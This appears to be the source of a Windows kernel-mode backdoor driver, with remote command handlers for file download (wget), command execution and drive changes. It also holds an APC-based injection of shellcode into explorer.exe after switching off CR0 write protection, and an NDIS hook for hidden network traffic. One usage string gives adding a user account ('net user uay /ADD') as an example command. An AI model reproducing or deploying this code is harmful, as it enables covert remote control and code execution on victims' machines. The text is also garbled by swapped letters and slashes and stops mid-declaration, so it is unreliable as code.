NTSTATUS CommAnd_Wget(PRECVLIST pRecvList,ULONG Argc,CHAR* Argv[])
{
BOOLEAN result;
if(Argc != 3){
uSend(
pRecvList->pConnection,
"wrong Arguments/n wget URL fullFileNAme/n",
strlen("wrong Arguments/n wget URL fullFileNAme/n")
);
return STATUS_SUCCESS;
}
if(strlen(Argv[1]) + strlen(Argv[2]) >= 98){
uSend(
pRecvList->pConnection,
"Arguments Are too long",
strlen("Arguments Are too long")
);
}
result = KWget(Argv[1],Argv[2]);
if(result == FALSE){
uSend(
pRecvList->pConnection,
"os version not support/n",
strlen("os version not support/n")
);
}
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
NTSTATUS CommAnd_Exec(PRECVLIST pRecvList,ULONG Argc,CHAR* Argv[])
{
BOOLEAN result;
if(Argc != 2){
uSend(
pRecvList->pConnection,
"wrong Arguments/n eg: exec /"c://WINDOWS//System32//freecell.exe/" or/n exec /"net user uay /ADD/"/n",
strlen("wrong Arguments/n eg: exec /"c://WINDOWS//System32//freecell.exe/" or/n exec /"net user uay /ADD/"/n")
);
return STATUS_SUCCESS;
}
result = KExec(Argv[1]);
if(result == FALSE){
uSend(
pRecvList->pConnection,
"os version not support/n",
strlen("os version not support/n")
);
}
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
//判断分区是否存在的方法就是看这个分区根目录是否存在
NTSTATUS CommAnd_ChAngeDriver(PRECVLIST pRecvList,ULONG Argc,CHAR* Argv[])
{
CHAR tempA[16] = {0};
WCHAR tempW[16] = {0};
HANDLE hFile;
NTSTATUS stAtus;
IO_STATUS_BLOCK IoStAtusBlock;
UNICODE_STRING nAme;
OBJECT_ATTRIBUTES oA;
if(Argc != 2){
uSend(
pRecvList->pConnection,
"wrong Arguments/n eg: chAngedriver d/n",
strlen("wrong Arguments/n eg: chAngedriver d/n")
);
return STATUS_SUCCESS;
}
if(strlen(Argv[1]) > 1){
uSend(
pRecvList->pConnection,
"wrong Arguments/n eg: chAngedriver d/n",
strlen("wrong Arguments/n eg: chAngedriver d/n")
);
return STATUS_SUCCESS;
}
if((Argv[1][0] > 'a' && Argv[1][0] < 'z') || (Argv[1][0] > 'A' && Argv[1][0] < 'Z')){
strcpy(tempA,"//??//");
strcat(tempA,Argv[1]);
strcat(tempA,"://");
DbgPrint("%s/n",tempA);
/// like //??//d:
Atow(tempA,tempW);
DbgPrint("%S/n",tempW);
RtlInitUnicodeString(&nAme,tempW);
InitializeObjectAttributes(
&oA,
&nAme,
OBJ_CASE_INSENSITIVE,
NULL,
NULL
);
stAtus = ZwOpenFile(
&hFile,
GENERIC_READ,
&oA,
&IoStAtusBlock,
FILE_SHARE_READ,
FILE_DIRECTORY_FILE
);
DbgPrint("stAtus: 0x%x/n IoStAtusBlock.StAtus: 0x%x/n",stAtus,IoStAtusBlock.Status);
if(stAtus != STATUS_SUCCESS || stAtus == STATUS_OBJECT_NAME_NOT_FOUND){
uSend(
pRecvList->pConnection,
"driver does not exists/n",
strlen("driver does not exists/n")
);
return STATUS_SUCCESS;
}
else{
RtlZeroMemory(pRecvList->pConnection->m_PAth,512);
wcscpy(pRecvList->pConnection->m_PAth,&tempW[4]);//去掉前面的"/??/"
ZwClose(hFile);
return STATUS_SUCCESS;
}
}
else{
uSend(
pRecvList->pConnection,
"wrong driver,must be A-Z/n",
strlen("wrong driver,must be A-Z/n")
);
}
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
_____commAnd.h_____
//
//proto type
//
NTSTATUS
ReferenceCommAnd(
PRECVLIST pRecvList
);
NTSTATUS
CommAnd_Dir(
PRECVLIST pRecvList,
WCHAR* pAth
);
NTSTATUS
CommAnd_Cd(
PRECVLIST pRecvList,
ULONG Argc,CHAR* Argv[]
);
NTSTATUS
CommAnd_Del(
PRECVLIST pRecvList,
ULONG Argc,
CHAR* Argv[]
);
NTSTATUS
CommAnd_Copy(
PRECVLIST pRecvList,
ULONG Argc,
CHAR* Argv[]
);
NTSTATUS
CommAnd_Wget(
PRECVLIST pRecvList,
ULONG Argc,
CHAR* Argv[]
);
NTSTATUS
CommAnd_Exec(
PRECVLIST pRecvList,
ULONG Argc,
CHAR* Argv[]
);
NTSTATUS
CommAnd_ChAngeDriver(
PRECVLIST pRecvList,
ULONG Argc,
CHAR* Argv[]
);
_____dummyprotocolfunc.c_____
#include <ndis.h>
#define MAX_PACKET_POOL_SIZE 0x0000FFFF
#define MIN_PACKET_POOL_SIZE 0x000000FF
VOID
PtBindAdApter(
OUT PNDIS_STATUS StAtus,
IN NDIS_HANDLE BindContext,
IN PNDIS_STRING DeviceNAme,
IN PVOID SystemSpecific1,
IN PVOID SystemSpecific2
)
{
}
VOID
PtOpenAdApterComplete(
IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS StAtus,
IN NDIS_STATUS OpenErrorStAtus
)
{
}
VOID
PtUnbindAdApter(
OUT PNDIS_STATUS StAtus,
IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_HANDLE UnbindContext
)
{
}
VOID
PtUnloAd(
IN PDRIVER_OBJECT DriverObject
)
{
}
VOID
PtCloseAdApterComplete(
IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS StAtus
)
{
}
VOID
PtResetComplete(
IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS StAtus
)
{
}
VOID
PtRequestComplete(
IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_REQUEST NdisRequest,
IN NDIS_STATUS StAtus
)
{
}
VOID
PtStAtus(
IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS GenerAlStAtus,
IN PVOID StAtusBuffer,
IN UINT StAtusBufferSize
)
{
}
VOID
PtStAtusComplete(
IN NDIS_HANDLE ProtocolBindingContext
)
{
}
VOID
PtSendComplete(
IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_PACKET PAcket,
IN NDIS_STATUS StAtus
)
{
}
VOID
PtTrAnsferDAtAComplete(
IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_PACKET PAcket,
IN NDIS_STATUS StAtus,
IN UINT BytesTrAnsferred
)
{
}
NDIS_STATUS
PtReceive(
IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_HANDLE MAcReceiveContext,
IN PVOID HeAderBuffer,
IN UINT HeAderBufferSize,
IN PVOID LookAheAdBuffer,
IN UINT LookAheAdBufferSize,
IN UINT PAcketSize
)
{
return 0;
}
VOID
PtReceiveComplete(
IN NDIS_HANDLE ProtocolBindingContext
)
{
}
INT
PtReceivePAcket(
IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_PACKET PAcket
)
{
return(0);
}
NDIS_STATUS
PtPNPHAndler(
IN NDIS_HANDLE ProtocolBindingContext,
IN PNET_PNP_EVENT pNetPnPEvent
)
{
return 0;
}
NDIS_STATUS
PtPnPNetEventReconfigure(
IN ULONG pAdApt,
IN PNET_PNP_EVENT pNetPnPEvent
)
{
return 0;
}
NDIS_STATUS
PtPnPNetEventSetPower(
IN ULONG pAdApt,
IN PNET_PNP_EVENT pNetPnPEvent
)
{
return 0;
}
_____dummyprotocolfunc.h_____
#include <ndis.h>
VOID
PtOpenAdApterComplete(
IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS Status,
IN NDIS_STATUS OpenErrorStatus
);
VOID
PtCloseAdApterComplete(
IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS Status
);
VOID
PtSendComplete(
IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_PACKET Packet,
IN NDIS_STATUS Status
);
VOID
PtTrAnsferDAtAComplete(
IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_PACKET Packet,
IN NDIS_STATUS Status,
IN UINT BytesTransferred
);
VOID
PtResetComplete(
IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS Status
);
VOID
PtRequestComplete(
IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_REQUEST NdisRequest,
IN NDIS_STATUS Status
);
NDIS_STATUS
PtReceive(
IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_HANDLE MacReceiveContext,
IN PVOID HeaderBuffer,
IN UINT HeaderBufferSize,
IN PVOID LookAheadBuffer,
IN UINT LookAheadBufferSize,
IN UINT PacketSize
);
VOID
PtReceiveComplete(
IN NDIS_HANDLE ProtocolBindingContext
);
VOID
PtStAtus(
IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS GeneralStatus,
IN PVOID StatusBuffer,
IN UINT StatusBufferSize
);
VOID
PtStAtusComplete(
IN NDIS_HANDLE ProtocolBindingContext
);
VOID
PtBindAdApter(
OUT PNDIS_STATUS Status,
IN NDIS_HANDLE BindContext,
IN PNDIS_STRING DeviceName,
IN PVOID SystemSpecific1,
IN PVOID SystemSpecific2
);
VOID
PtUnbindAdApter(
OUT PNDIS_STATUS Status,
IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_HANDLE UnbindContext
);
VOID
PtUnloAd(
IN PDRIVER_OBJECT DriverObject
);
INT
PtReceivePAcket(
IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_PACKET Packet
);
NDIS_STATUS
PtPNPHAndler(
IN NDIS_HANDLE ProtocolBindingContext,
IN PNET_PNP_EVENT pNetPnPEvent
);
_____exec.c_____
///
// uty@uaty
///
#include <ntddk.h>
#ifdef DBG
#define u_DbgPrint(_x_) /
DbgPrint _x_;
#else
#define u_DbgPrint(_x_)
#endif
//--------------------------------------------------------------------
typedef enum _KAPC_ENVIRONMENT{
OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment
}KAPC_ENVIRONMENT;
typedef struct _KAPC_STATE{
LIST_ENTRY ApcListHead[2];
PEPROCESS Process;
UCHAR KernelApcInProgress;
UCHAR KernelApcPending;
UCHAR UserApcPending;
}KAPC_STATE,*PKAPC_STATE;
//--------------------------------------------------------------------
NTSTATUS
uSetTheApc_Exec(
ULONG process,
ULONG threAd,
ULONG MAppedAddress,
PKEVENT pEvent,
PCHAR CmdLine
);
VOID
WorkThreAd_Exec(
IN PVOID pContext
);
VOID
KernelApcCAllBAck_Exec(
PKAPC Apc,
PKNORMAL_ROUTINE *NormalRoutine,
PVOID *NormalContext,
PVOID *SystemArgument1,
PVOID *SystemArgument2
);
VOID
OnUnloAd(
IN PDRIVER_OBJECT DriverObject
);
BOOLEAN
find_threAd_Exec(
OUT ULONG *process,
OUT ULONG *threAd
);
UserExec(
PCHAR CmdLine,
PVOID unused1,
PVOID unused2
);
UserExec_end(
VOID
);
BOOLEAN
CheckVersion_Exec(
VOID
);
/* Function prototypes for APCs */
VOID
KeInitializeApc(
PKAPC Apc,
PKTHREAD Thread,
CCHAR ApcStateIndex,
PKKERNEL_ROUTINE KernelRoutine,
PKRUNDOWN_ROUTINE RundownRoutine,
PKNORMAL_ROUTINE NormalRoutine,
KPROCESSOR_MODE ApcMode,
PVOID NormalContext
);
BOOLEAN
KeInsertQueueApc(
PKAPC Apc,
PVOID SystemArgument1,
PVOID SystemArgument2,
UCHAR unknown
);
/* Function prototypes for AttAch process */
NTKERNELAPI VOID
KeStackAttachProcess(
IN PEPROCESS Process,
OUT PKAPC_STATE ApcState
);
NTKERNELAPI VOID
KeUnstackDetachProcess(
IN PKAPC_STATE ApcState
);
//--------------------------------------------------------------------
//AlreAdy defined in wget.c
static ULONG THREADLISTHEAD_OFFSET;
static ULONG THREADLISTENTRY_OFFSET;
static ULONG IMAGEFILENAME_OFFSET;
static ULONG ACTIVEPROCESSLINKS_OFFSET;
static ULONG USERAPCPENDING_OFFSET;
static ULONG TCB_TEB_OFFSET;
BOOLEAN
KExec(
PCHAR CmdLine
)
{
HANDLE hThreAd = NULL;
NTSTATUS dwStAtus;
if(strlen(CmdLine) > 99){ //one byte for '/0'
DbgPrint("CmdLine is too long,At most 100 bytes/n");
return FALSE;
}
if(FALSE == CheckVersion_Exec()){
DbgPrint("os version not supported/n");
return FALSE;
}
dwStAtus = PsCreateSystemThread(&hThreAd,
(ACCESS_MASK)0,
NULL,
(HANDLE)0,
NULL,
WorkThreAd_Exec,
CmdLine
);
if (!NT_SUCCESS(dwStAtus)){
DbgPrint("error when creAte the threAd/n");
return FALSE;
}
return TRUE;
}
//--------------------------------------------------------------------
BOOLEAN
CheckVersion_Exec(
VOID
)
{
RTL_OSVERSIONINFOEXW osversion = {0};
osversion.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOEXW);
RtlGetVersion((RTL_OSVERSIONINFOW*)&osversion);
u_DbgPrint(("dwMAjorVersion: %d/n",osversion.dwMajorVersion));
u_DbgPrint(("dwMinorVersion: %d/n",osversion.dwMinorVersion));
u_DbgPrint(("dwBuildNumber: %d/n",osversion.dwBuildNumber));
u_DbgPrint(("wServicePAckMAjor: %d/n",osversion.wServicePackMajor));
u_DbgPrint(("wServicePAckMinor: %d/n",osversion.wServicePackMinor));
if( (osversion.dwMajorVersion == 5)
&& (osversion.dwMinorVersion == 1)
&& (osversion.wServicePackMajor == 1)
//&& (osversion.wServicePackMinor == 0)
)
{
THREADLISTHEAD_OFFSET = 0x190;
THREADLISTENTRY_OFFSET = 0x22c;//both ThreAdListEntry in ETHREAD KTHREAD works;
IMAGEFILENAME_OFFSET = 0x174;
ACTIVEPROCESSLINKS_OFFSET = 0x88;
USERAPCPENDING_OFFSET = 0x4A;
TCB_TEB_OFFSET = 0x20;
return TRUE;
}
else if( (osversion.dwMajorVersion == 5)
&& (osversion.dwMinorVersion == 1)
&& (osversion.wServicePackMajor == 2)
//&& (osversion.wServicePackMinor == 0)
)
{
THREADLISTHEAD_OFFSET = 0x190;
THREADLISTENTRY_OFFSET = 0x22c;//both ThreAdListEntry in ETHREAD KTHREAD works;
IMAGEFILENAME_OFFSET = 0x174;
ACTIVEPROCESSLINKS_OFFSET = 0x88;
USERAPCPENDING_OFFSET = 0x4A;
TCB_TEB_OFFSET = 0x20;
return TRUE;
}
return FALSE;
}
//--------------------------------------------------------------------
//PMDL pMdl = NULL;
VOID
WorkThreAd_Exec(
IN PVOID pContext
)
{
ULONG process,threAd;
PKEVENT pEvent = NULL;
PMDL pMdl = NULL;
PVOID MAppedAddress = NULL;
ULONG size;
KAPC_STATE ApcStAte;
PCHAR CmdLine;
CmdLine = (PCHAR)pContext;
if (!find_threAd_Exec(&process,&threAd)){
DbgPrint("cAnnot find the right threAd/n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
pEvent = ExAllocatePool(NonPagedPool,sizeof(KEVENT));
if(!pEvent){
DbgPrint("ExAllocatePool(pEvent) fAiled/n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
_asm
{
CLI //dissable interrupt
MOV EAX, CR0 //move CR0 register into EAX
AND EAX, NOT 10000H //disable WP bit
MOV CR0, EAX //write register back
}
memcpy((UCHAR*)UserExec_end,CmdLine,strlen(CmdLine));
memset((UCHAR*)((ULONG)UserExec_end+strlen(CmdLine)),0,1);
_asm
{
MOV EAX, CR0 //move CR0 register into EAX
OR EAX, 10000H //enable WP bit
MOV CR0, EAX //write register back
STI //enable interrupt
}
size = (UCHAR*)UserExec_end - (UCHAR*)UserExec + 100;//最多100个字节的
u_DbgPrint(("size: %d/n",size));
pMdl = IoAllocateMdl(
UserExec,
size,
FALSE,
FALSE,
NULL
);
if(!pMdl){
ExFreePool (pEvent);
DbgPrint("IoAllocateMdl fAiled/n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
__try{
MmProbeAndLockPages(
pMdl,
KernelMode,
IoWriteAccess
);
}
__except(EXCEPTION_EXECUTE_HANDLER){
IoFreeMdl(pMdl);
ExFreePool(pEvent);
DbgPrint("MmProbeAndLockPAges fAiled/n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
u_DbgPrint(("process 0x%x/n",process));
KeStackAttachProcess((PEPROCESS)process,&ApcStAte);
__try{
MAppedAddress = MmMapLockedPagesSpecifyCache(
pMdl,
UserMode,
MmCached,
NULL,
FALSE,
NormalPagePriority
);
}
__except(EXCEPTION_EXECUTE_HANDLER){
MmUnlockPages(pMdl);
IoFreeMdl(pMdl);
ExFreePool(pEvent);
DbgPrint("MmMApLockedPagesSpecifyCAche fAiled/n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
u_DbgPrint(("MAppedAddress: 0x%x/n",MAppedAddress));
if (!MAppedAddress){
KeUnstackDetachProcess(&ApcStAte);
MmUnlockPages(pMdl);
IoFreeMdl(pMdl);
ExFreePool(pEvent);
DbgPrint("MmMApLockedPAgesSpecifyCAche fAiled/n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
//reuse ,freed in APC->KernelRoutine
CmdLine = (PCHAR)((ULONG)MAppedAddress + (ULONG)((UCHAR*)UserExec_end - (UCHAR*)UserExec));
KeUnstackDetachProcess(&ApcStAte);
KeInitializeEvent(pEvent,NotificationEvent,FALSE);
uSetTheApc_Exec(process,threAd,(ULONG)MAppedAddress,pEvent,CmdLine);
KeWaitForSingleObject(
pEvent,
Executive,
KernelMode,
FALSE,
NULL
);
u_DbgPrint(("ok free pEvent pMdl now/n"));
ExFreePool(pEvent);
MmUnlockPages(pMdl);
IoFreeMdl(pMdl);
PsTerminateSystemThread(STATUS_SUCCESS);
DbgPrint("Never be here /n");
}
//--------------------------------------------------------------------
NTSTATUS
uSetTheApc_Exec(
ULONG process,
ULONG threAd,
ULONG MAppedAddress,
PKEVENT pEvent,
PCHAR CmdLine
)
{
NTSTATUS dwStAtus = STATUS_SUCCESS;
PKAPC pkApc;
BOOLEAN bBool;
*((unsigned char *)threAd + USERAPCPENDING_OFFSET)=1; //
//*((unsigned char *)threAd+0x164)=1; //both of them works :>
pkApc = ExAllocatePool(NonPagedPool,sizeof(KAPC));
if (pkApc == NULL){
DbgPrint("error:ExAllocAtePool/n");
return STATUS_INSUFFICIENT_RESOURCES;
}
KeInitializeApc(
pkApc,
(PKTHREAD)threAd,
OriginalApcEnvironment,
(PKKERNEL_ROUTINE)KernelApcCAllBAck_Exec,
NULL,
(PKNORMAL_ROUTINE)MAppedAddress,//UserApcCAllBAck,
UserMode,
(PVOID)CmdLine
);
bBool = KeInsertQueueApc(pkApc,pEvent,0,0); //ticky
if(bBool == FALSE){
DbgPrint("error:KeInsertQueueApc/n");
}
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
VOID
KernelApcCAllBAck_Exec(
PKAPC Apc,
PKNORMAL_ROUTINE *NormAlRoutine,
IN OUT PVOID *NormAlContext,
IN OUT PVOID *SystemArgument1,
IN OUT PVOID *SystemArgument2
)
{
PKEVENT pEvent;
//PCHAR CmdLine;
u_DbgPrint(("NormAlContext: 0x%x/n",(ULONG)*NormAlContext));
pEvent = (PKEVENT)*SystemArgument1;
KeSetEvent(pEvent,IO_NO_INCREMENT,FALSE);
//CmdLine = (PWGETPARA)*NormAlContext;
//*SystemArgument1 = (PVOID)pPArA->szFileNAme;
//*SystemArgument2 = (PVOID)pPArA->ulType;
//*NormAlContext = (PVOID)pPArA->szURL;
//u_DbgPrint(("SystemArgument1: 0x%x/n",(ULONG)*SystemArgument1));
//u_DbgPrint(("SystemArgument2: 0x%x/n",(ULONG)*SystemArgument2));
//ExFreePool(pPArA);///free the pool AllocAted in KernelMessAgeBox
//u_DbgPrint(("Freeing APC Object/n"));
ExFreePool(Apc); // free the kernel memory
}
//--------------------------------------------------------------------
BOOLEAN
find_threAd_Exec(
OUT ULONG *process,
OUT ULONG *threAd
)
{
ULONG eproc;
ULONG begin_proc;
ULONG ethreAd;
ULONG begin_threAd;
PLIST_ENTRY plist_Active_procs;
PLIST_ENTRY plist_threAd;
/*
#define IS_SYSTEM_THREAD(thread) /
(((thread)->Tcb.Teb == NULL) || /
(IS_SYSTEM_ADDRESS((thread)->Tcb.Teb)))
*/
eproc = (ULONG)PsGetCurrentProcess();
begin_proc = eproc;
while(1){
u_DbgPrint(("%s/n",(CHAR*)(eproc + IMAGEFILENAME_OFFSET)));
if (0 == _stricmp((CHAR*)(eproc + IMAGEFILENAME_OFFSET),"explorer.exe")){
break;
}
else{
plist_Active_procs = (LIST_ENTRY*)(eproc + ACTIVEPROCESSLINKS_OFFSET);
eproc = (ULONG) plist_Active_procs->Flink;
eproc = eproc - ACTIVEPROCESSLINKS_OFFSET;
if(eproc == begin_proc) return FALSE;
}
}
plist_threAd = (LIST_ENTRY*)(eproc + THREADLISTHEAD_OFFSET);
ethreAd = (ULONG)plist_threAd->Flink;
ethreAd = ethreAd - THREADLISTENTRY_OFFSET;
u_DbgPrint(("threAd: 0x%x/n",ethreAd));
begin_threAd = ethreAd;
while(1){
//if !IS_SYSTEM_THREAD(threAd)
u_DbgPrint(("(*(ULONG*)((ULONG)ethreAd+TCB_TEB_OFFSET): 0x%x/n",*(ULONG*)((CHAR*)ethreAd+TCB_TEB_OFFSET)));
if( (*(ULONG*)((ULONG)ethreAd+TCB_TEB_OFFSET) != 0) &&
(*(ULONG*)((ULONG)ethreAd+TCB_TEB_OFFSET) <= 0x80000000 )
){
break;
}
else{
plist_threAd = (LIST_ENTRY*)(ethreAd + THREADLISTENTRY_OFFSET);
ethreAd = (ULONG)plist_threAd->Flink;
ethreAd = ethreAd - THREADLISTENTRY_OFFSET;
u_DbgPrint(("ethreAd: 0x%x/n",ethreAd));
if(ethreAd == begin_threAd) return FALSE;
}
}
*process = eproc;
*threAd = ethreAd;
return TRUE;
}
//--------------------------------------------------------------------
__declspec(naked)
UserExec(
PCHAR CmdLine,
PVOID unused1,
PVOID unused2
)
{
__asm{
push ebp
mov ebp, esp
}
__asm{
pushad
sub esp, 20 //存放得到的函数地址
jmp end
start:
pop edx // 指令表起始地址存放在 esp -> edx
push ebp//u 保存 下面这段程序用到了ebp
// ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====
//
// 输入:
// edx => 指令表起始地址 (不需要)
//
// 输出:
// eax => kernel32.dll起始地址
// edx => 指令表起始地址
mov eax, fs:0x30 // PEB
mov eax, [eax + 0x0c] // PROCESS_MODULE_INFO
mov esi, [eax + 0x1c] // InInitOrder.flink
lodsd
mov eax, [eax+8]
// ========== 定位GetProcAddress的地址 ==========
//
// 输入:
// eax => kernel32.dll起始地址
// edx => 指令表起始地址
//
// 输出:
// ebx => kernel32.dll起始地址
// eax => GetProcAddress地址
// edx => 指令表起始地址
mov ebx, eax // 取kernel32.dll的起始地址
mov esi, dword ptr [ebx+0x3C] //u 在e_lfanew中得到pe heAder
mov esi, dword ptr [esi+ebx+0x78] //u export directory rvA
add esi, ebx
mov edi, dword ptr [esi+0x20] //u struct _IMAGE_EXPORT_DIRECTORY 中AddressOfNames; // RVA from base of image
add edi, ebx
mov ecx, dword ptr [esi+0x14] //u AddressOfFunctions; // RVA from base of image
xor ebp, ebp
push esi
search_GetProcAddress:
push edi
push ecx
mov edi,dword ptr [edi]
add edi,ebx // 把输出函数名表起始地址存人edi
mov esi,edx // 指令表起始地址存入esi
//mov ecx,0Eh // 函数getprocAddress长度为0Eh
push 0xE
pop ecx
repe cmps byte ptr [esi],byte ptr [edi]
je search_GetProcAddress_ok
pop ecx
pop edi
add edi,4 ///
inc ebp
loop search_GetProcAddress
search_GetProcAddress_ok:
pop ecx
pop edi
pop esi
mov ecx, ebp
mov eax, dword ptr [esi+24h] //u AddressOfNameOrdinals; // RVA from base of image
add eax, ebx
shl ecx, 1
add eax, ecx
xor ecx, ecx
mov cx, word ptr [eax]
mov eax, dword ptr [esi+1Ch] //AddressOfFunctions; // RVA from base of image
add eax, ebx
shl ecx, 2
add eax, ecx
mov eax, dword ptr [eax]
add eax, ebx
pop ebp//u 保存
//--------------------------------------------------------------------
// ============ 调用函数解决api地址 ============
//
// 输入:
// ebx =>kernel32.dll起始地址
// eax =>GetProcAddress地址
// edx =>指令表起始地址
//
// 输出:
// edi =>函数地址base addr
// esi =>指令表当前位置
// edx =>GetProcAddress 地址
mov edi,edx
mov esi,edi
add esi,0xE // 0xE 跳过1个字符串"GetProcAddress"
// ============ 解决kernel32.dll中的函数地址 ============
mov edx,eax // 把GetProcAddress 地址存放在edx
push 0x1 // 需要解决的函数地址的个数 硬编码可以节省两个字节
pop ecx
mov edi, esp / get some spAce to edi
call locator_api_addr
push 0 //SW_HIDE
push CmdLine
call dword ptr [edi-4]
jmp end_func
//--------------------------------------------------------------------
// ============ 解决api地址的函数 ============
//
// 输入参数:
// ecx 函数个数
// edx GetProcAddress 地址
// ebx 输出函数的dll起始地址
// esi 函数名表起始地址
// edi 保存函数地址的起始地址
locator_api_addr:
locator_space:
xor eax, eax
lodsb
test eax, eax // 寻找函数名之间的空格x00
jne locator_space
push ecx
push edx
push esi // 函数名
push ebx // 输出函数的dll起始地址
call edx
pop edx
pop ecx
stos dword ptr [edi]
loop locator_space
xor eax, eax
ret
//--------------------------------------------------------------------
// ================== 结束调用 ====================
end:
call start
__emit 'G'
__emit 'e'
__emit 't'
__emit 'P'
__emit 'r'
__emit 'o'
__emit 'c'
__emit 'A'
__emit 'd'
__emit 'd'
__emit 'r'
__emit 'e'
__emit 's'
__emit 's'
__emit 0
__emit 'W'
__emit 'i'
__emit 'n'
__emit 'E'
__emit 'x'
__emit 'e'
__emit 'c'
__emit 0
end_func:
add esp,20
popad
}
__asm{
mov esp,ebp
pop ebp
ret //don't forget this :>
}
}
//--------------------------------------------------------------------
__declspec(naked) UserExec_end(VOID)
{
__asm{
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0 //100
}
}
//--------------------------------------------------------------------
_____NdisHook.c_____
///
// uty@uaty
///
#include <ndis.h>
#include "dummyprotocolfunc.h"
#include "structs.h"
typedef
struct _SIGNANDPORT{
unsigned int sign;
unsigned int port;
}SIGNANDPORT,*PSIGNANDPORT;
//not used
/*
typedef
struct _SYNACKPACKET{
ULONG sign;
ULONG BufferAddress;
}SYNACKPACKET,*PSYNACKPACKET;
*/
//
typedef struct _OSVERSIONINFOEXW {
ULONG dwOSVersionInfoSize;
ULONG dwMajorVersion;
ULONG dwMinorVersion;
ULONG dwBuildNumber;
ULONG dwPlatformId;
WCHAR szCSDVersion[ 128 ]; // Maintenance string for PSS usage
USHORT wServicePackMajor;
USHORT wServicePackMinor;
USHORT wSuiteMask;
UCHAR wProductType;
UCHAR wReserved;
} OSVERSIONINFOEXW, *POSVERSIONINFOEXW, *LPOSVERSIONINFOEXW, RTL_OSVERSIONINFOEXW, *PRTL_OSVERSIONINFOEXW;
typedef struct _OSVERSIONINFOW {
ULONG dwOSVersionInfoSize;
ULONG dwMajorVersion;
ULONG dwMinorVersion;
ULONG dwBuildNumber;
ULONG dwPlatformId;
WCHAR szCSDVersion[ 128 ]; // Maintenance string for PSS usage
} OSVERSIONINFOW, *POSVERSIONINFOW, *LPOSVERSIONINFOW, RTL_OSVERSIONINFOW, *PRTL_OSVERSIONINFOW;
//--------------------------------------------------------------------
///mAcros
//#define OURPORT 9929
#define MAX_PATH 260
//--------------------------------------------------------------------
globAl vAr
HOOK_CONTEXT_STRUCT *m_pOurAllOfHookContext = NULL;
NDIS_HANDLE m_ourPAcketPoolHAndle = NULL;
NDIS_HANDLE m_ourBufferPoolHAndle = NULL;
//for ProtocolReceive
PNDIS_PACKET m_ourPAcketHAndle = NULL;
PNDIS_BUFFER m_ourBufferHAndle = NULL;
PVOID m_ourBuffer = NULL;
//
PKEVENT g_puSendEvent;
PLARGE_INTEGER g_pTimeOut;
ULONG OURPORT;
//--------------------------------------------------------------------
//defined in ubd_sys.c
extern TCPS_Connection g_ConnectionSpAce[MAX_CONNECTIONS];
extern RECVLISTHEAD g_RecvListHeAd;
extern SENDLISTHEAD g_SendListHeAd;
//
//NDIS_HANDLE g_pBindAdaptHandle;
//--------------------------------------------------------------------
proto function
NTSTATUS
RtlGetVersion(
PRTL_OSVERSIONINFOW lpVersionInformation
);
/
VOID
OnUnloAd(
IN PDRIVER_OBJECT DriverObject
);
VOID
HookFuncBlock(
CHAR* ProtocolContent
);
HOOK_CONTEXT_STRUCT*
HookNdisFunc(
PVOID pHookProc,
PVOID *ppOrigProc,
PVOID pBindAdAptHAndle,
PVOID pProtocolContent
);
HOOK_CONTEXT_STRUCT*
IsHookedNdisFunc(
PVOID pAddr
);
HOOK_CONTEXT_STRUCT*
IsHookedNdisFuncEx(
PVOID *pAddr
);
ULONG
HookProtocol(
VOID
);
NDIS_STATUS
HookProtocolReceive(
IN HOOK_CONTEXT_STRUCT *pOurContext,
IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_HANDLE MAcReceiveContext,
IN PVOID HeAderBuffer,
IN UINT HeAderBufferSize,
IN PVOID LookAheAdBuffer,
IN UINT LookAheAdBufferSize,
IN UINT PAcketSize
);
INT
HookProtocolReceivePAcket(
IN HOOK_CONTEXT_STRUCT *pOurContext,
